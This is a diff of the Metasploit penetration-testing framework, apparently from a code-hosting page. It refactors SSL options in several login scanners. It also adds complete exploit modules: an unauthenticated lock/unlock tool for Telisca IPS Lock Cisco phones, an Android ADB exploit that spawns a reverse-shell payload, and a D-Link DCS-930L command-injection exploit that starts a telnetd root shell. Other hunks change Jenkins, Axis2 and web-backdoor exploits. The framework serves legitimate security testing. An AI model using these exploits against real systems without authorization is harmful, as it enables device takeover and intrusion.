register_options(
|
||||
|
@ -33,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]),
|
||||
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
|
|
@ -15,13 +15,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenVAS gsad Web Interface Login Utility',
|
||||
'Description' => %q{
|
||||
'Name' => 'OpenVAS gsad Web Interface Login Utility',
|
||||
'Description' => %q{
|
||||
This module simply attempts to login to a OpenVAS gsad interface
|
||||
using a specific user/pass.
|
||||
},
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -29,7 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::RPORT(443),
|
||||
OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]),
|
||||
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
|
|
@ -16,8 +16,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SNMP Community Scanner',
|
||||
'Description' => 'Scan for SNMP devices using common community names',
|
||||
'Name' => 'SNMP Community Login Scanner',
|
||||
'Description' => %q{
|
||||
This module logs in to SNMP devices using common community names.
|
||||
},
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
|
@ -71,6 +73,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
|
||||
report_service(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:name => 'snmp',
|
||||
:info => result.proof,
|
||||
:state => 'open'
|
||||
)
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
|
|
|
@ -22,14 +22,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
and attempts to identify version information for that server.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(443),
|
||||
OptString.new('URI', [false, 'The uri path to test against' , '/sdk'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
the VMware product
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
all the login sessions.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -31,8 +32,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
more domains, it will try to enumerate domain users as well.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
running the web interface. This would include ESX/ESXi and VMWare Server.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
|
|
@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This can include information about the hardware installed on the host machine.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
|
|
@ -25,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
|
|
|
@ -0,0 +1,166 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Telisca IPS Lock Cisco IP Phone Control',
|
||||
'Description' => %q{
|
||||
This module allows an unauthenticated attacker to exercise the
|
||||
"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP
|
||||
Phones. This module should be run in the VoIP VLAN, and requires
|
||||
knowledge of the target phone's name (for example, SEP002497AB1D4B).
|
||||
|
||||
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# Publicly disclosed via Metaploit PR
|
||||
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
|
||||
'zirsalem'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Dec 17 2015',
|
||||
'Actions' =>
|
||||
[
|
||||
['LOCK', 'Description' => 'To lock a phone'],
|
||||
['UNLOCK', 'Description' => 'To unlock a phone']
|
||||
],
|
||||
'DefaultAction' => 'UNLOCK'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),
|
||||
OptString.new('PHONENAME', [true, 'The name of the target phone'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
# Returns the status of the listening port.
|
||||
#
|
||||
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
|
||||
def port_open?
|
||||
begin
|
||||
res = send_request_raw({'method' => 'GET', 'uri' => '/'})
|
||||
return true if res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("Connection refused")
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("Connection failed")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("SSL/TLS connection error")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Locks a device.
|
||||
#
|
||||
# @param phone_name [String] Name of the phone used for the pn parameter.
|
||||
#
|
||||
# @return [void]
|
||||
def lock(phone_name)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/IPSPCFG/user/Default.aspx',
|
||||
'headers' => {
|
||||
'Connection' => 'keep-alive',
|
||||
'Accept-Language' => 'en-US,en;q=0.5'
|
||||
},
|
||||
'vars_get' => {
|
||||
'action' => 'DO',
|
||||
'tg' => 'L',
|
||||
'pn' => phone_name,
|
||||
'dp' => '',
|
||||
'gr' => '',
|
||||
'gl' => ''
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.include?('Unlock') || res.body.include?('U7LCK')
|
||||
print_good("The device #{phone_name} is already locked")
|
||||
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')
|
||||
print_good("Device #{phone_name} successfully locked")
|
||||
end
|
||||
elsif res
|
||||
print_error("Unexpected response #{res.code}")
|
||||
else
|
||||
print_error('The connection timed out while trying to lock.')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Unlocks a phone.
|
||||
#
|
||||
# @param phone_name [String] Name of the phone used for the pn parameter.
|
||||
#
|
||||
# @return [void]
|
||||
def unlock(phone_name)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/IPSPCFG/user/Default.aspx',
|
||||
'headers' => {
|
||||
'Connection' => 'keep-alive',
|
||||
'Accept-Language' => 'en-US,en;q=0.5'
|
||||
},
|
||||
'vars_get' => {
|
||||
'action' => 'U7LCK',
|
||||
'pn' => phone_name,
|
||||
'dp' => ''
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.include?('Unlock') || res.body.include?('U7LCK')
|
||||
print_good("The device #{phone_name} is already locked")
|
||||
elsif res.body.include?('unlocked') || res.body.include?('QUIT')
|
||||
print_good("The device #{phone_name} successfully unlocked")
|
||||
end
|
||||
elsif res
|
||||
print_error("Unexpected response #{res.code}")
|
||||
else
|
||||
print_error('The connection timed out while trying to unlock')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless port_open?
|
||||
print_error('The web server is unreachable!')
|
||||
return
|
||||
end
|
||||
|
||||
phone_name = datastore['PHONENAME']
|
||||
case action.name
|
||||
when 'LOCK'
|
||||
lock(phone_name)
|
||||
when 'UNLOCK'
|
||||
unlock(phone_name)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/adb'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android ADB Debug Server Remote Payload Execution',
|
||||
'Description' => %q{
|
||||
Writes and spawns a native payload on an android device that is listening
|
||||
for adb debug messages.
|
||||
},
|
||||
'Author' => ['joev'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
|
||||
'Targets' => [
|
||||
['armle', {'Arch' => ARCH_ARMLE}],
|
||||
['x86', {'Arch' => ARCH_X86}],
|
||||
['x64', {'Arch' => ARCH_X86_64}],
|
||||
['mipsle', {'Arch' => ARCH_MIPSLE}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 2016'
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(5555),
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
setup_adb_connection do
|
||||
device_info = @adb_client.connect.data
|
||||
print_good "Detected device:\n#{device_info}"
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
response = @adb_client.exec_cmd(cmd)
|
||||
print_good "Command executed, response:\n #{response}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
setup_adb_connection do
|
||||
device_data = @adb_client.connect
|
||||
print_good "Connected to device:\n#{device_data.data}"
|
||||
execute_cmdstager({
|
||||
flavor: :echo,
|
||||
enc_format: :octal,
|
||||
prefix: '\\\\0',
|
||||
temp: datastore['WritableDir'],
|
||||
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
|
||||
background: true,
|
||||
nodelete: true
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
def setup_adb_connection(&blk)
|
||||
begin
|
||||
print_status "Connecting to device..."
|
||||
connect
|
||||
@adb_client = Rex::Proto::ADB::Client.new(sock)
|
||||
blk.call
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -67,8 +67,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['EDB', '31519'],
|
||||
['OSVDB', '97520']
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Platform' => ['android', 'linux'],
|
||||
'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
|
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
## This module requires Metasploit: http://metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
The D-Link DCS-930L Network Video Camera is vulnerable
|
||||
to OS Command Injection via the web interface. The vulnerability
|
||||
exists at /setSystemCommand, which is accessible with credentials.
|
||||
This vulnerability was present in firmware version 2.01 and fixed
|
||||
by 2.12.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nicholas Starke <nick@alephvoid.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Dec 20 2015',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
|
||||
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def telnet_timeout
|
||||
(datastore['TelnetTimeout'] || 10)
|
||||
end
|
||||
|
||||
def banner_timeout
|
||||
(datastore['TelnetBannerTimeout'] || 25)
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD'] || ''
|
||||
|
||||
test_login(user, pass)
|
||||
exploit_telnet
|
||||
end
|
||||
|
||||
def test_login(user, pass)
|
||||
print_status("#{peer} - Trying to login with #{user} : #{pass}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user, pass)
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
|
||||
|
||||
print_good("#{peer} - Successful login #{user} : #{pass}")
|
||||
end
|
||||
|
||||
def exploit_telnet
|
||||
telnet_port = rand(32767) + 32768
|
||||
|
||||
print_status("#{peer} - Telnet Port: #{telnet_port}")
|
||||
|
||||
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
|
||||
|
||||
telnet_request(cmd)
|
||||
|
||||
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
|
||||
|
||||
if sock.nil?
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
|
||||
end
|
||||
|
||||
add_socket(sock)
|
||||
|
||||
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
end
|
||||
|
||||
def telnet_request(cmd)
|
||||
uri = '/setSystemCommand'
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'ReplySuccessPage' => 'docmd.htm',
|
||||
'ReplyErrorPage' => 'docmd.htm',
|
||||
'SystemCommand' => cmd,
|
||||
'ConfigSystemCommand' => 'Save'
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
def negotiate_telnet(sock)
|
||||
begin
|
||||
Timeout.timeout(banner_timeout) do
|
||||
while(true)
|
||||
data = sock.get_once(-1, telnet_timeout)
|
||||
return nil if not data or data.length == 0
|
||||
if data =~ /BusyBox/
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
|
@ -52,10 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
|
||||
Opt::RPORT('8080')
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def cli_port
|
||||
@jenkins_cli_port || datastore['XJenkinsCliPort']
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless vulnerable?
|
||||
if cli_port == 0 && !vulnerable?
|
||||
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
|
||||
end
|
||||
invoke_remote_method(set_payload)
|
||||
|
@ -155,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def invoke_remote_method(serialized_java_stream)
|
||||
begin
|
||||
socket = connect(true, {'RPORT' => @jenkins_cli_port})
|
||||
socket = connect(true, {'RPORT' => cli_port})
|
||||
|
||||
print_status 'Sending headers...'
|
||||
socket.put(read_bin_file('serialized_jenkins_header'))
|
||||
|
|
|
@ -185,7 +185,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
"script_fields" => {
|
||||
"msf_result" => {
|
||||
"script" => java
|
||||
"script" => java,
|
||||
"lang" => "groovy"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -74,6 +75,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def upload_exec(session,rpath)
|
||||
contents=''
|
||||
name = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
# We must register this file early, that way the on_new_session method
|
||||
# won't miss it if FileDropper's cleanup routine kicks in.
|
||||
register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")
|
||||
|
||||
services_xml = %Q{
|
||||
<service name="#{name}" scope="application">
|
||||
<description>
|
||||
|
@ -215,7 +221,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if res and res.code > 200 and res.code < 300
|
||||
cleanup_instructions(rpath, name) # display cleanup info
|
||||
throw :stop # exit loop
|
||||
elsif res and res.code == 401
|
||||
if (res.headers['WWW-Authenticate'])
|
||||
|
@ -225,7 +230,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if authmsg
|
||||
print_error("WWW-Authenticate: %s" % authmsg)
|
||||
end
|
||||
cleanup_instructions(rpath, name) # display cleanup info
|
||||
raise ::Rex::ConnectionError
|
||||
throw :stop # exit loop
|
||||
end
|
||||
|
@ -236,19 +240,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def cleanup_instructions(rpath, name)
|
||||
print_line("")
|
||||
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||||
print_line("")
|
||||
print_status("Using meterpreter:")
|
||||
print_status("rm \"webapps#{rpath}/WEB-INF/services/#{name}.jar\"")
|
||||
print_line("")
|
||||
print_status("Using the shell:")
|
||||
print_status("cd \"webapps#{rpath}/WEB-INF/services\"")
|
||||
print_status("del #{name}.jar")
|
||||
print_line("")
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
|
|
@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins Script-Console Java Execution',
|
||||
'Name' => 'Jenkins-CI Script-Console Java Execution',
|
||||
'Description' => %q{
|
||||
This module uses the Jenkins Groovy script console to execute
|
||||
This module uses the Jenkins-CI Groovy script console to execute
|
||||
OS commands using Java.
|
||||
},
|
||||
'Author' =>
|
||||
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -178,8 +178,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
|
||||
print_status("Using CSRF token: '#{$1}'");
|
||||
@crumb = $1;
|
||||
print_status("Using CSRF token: '#{$1}'")
|
||||
@crumb = $1
|
||||
end
|
||||
|
||||
case target['Platform']
|
||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'Simple Backdoor Shell Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits unauthenticated simple web backdoor shells by leveraging the
|
||||
common backdoor shell's CMD parameter to execute commands. The SecLists project of
|
||||
common backdoor shell's vulnerable parameter to execute commands. The SecLists project of
|
||||
Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
|
||||
which is categorized under Payloads.
|
||||
},
|
||||
|
@ -53,6 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
|
||||
OptString.new('VAR', [true, 'The command variable', 'cmd']),
|
||||
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT']])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
|
@ -67,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def http_send_command(cmd)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'method' => datastore['METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => {
|
||||
'cmd' => cmd
|
||||
datastore['VAR'] => cmd
|
||||
}
|
||||
})
|
||||
unless res && res.code == 200
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue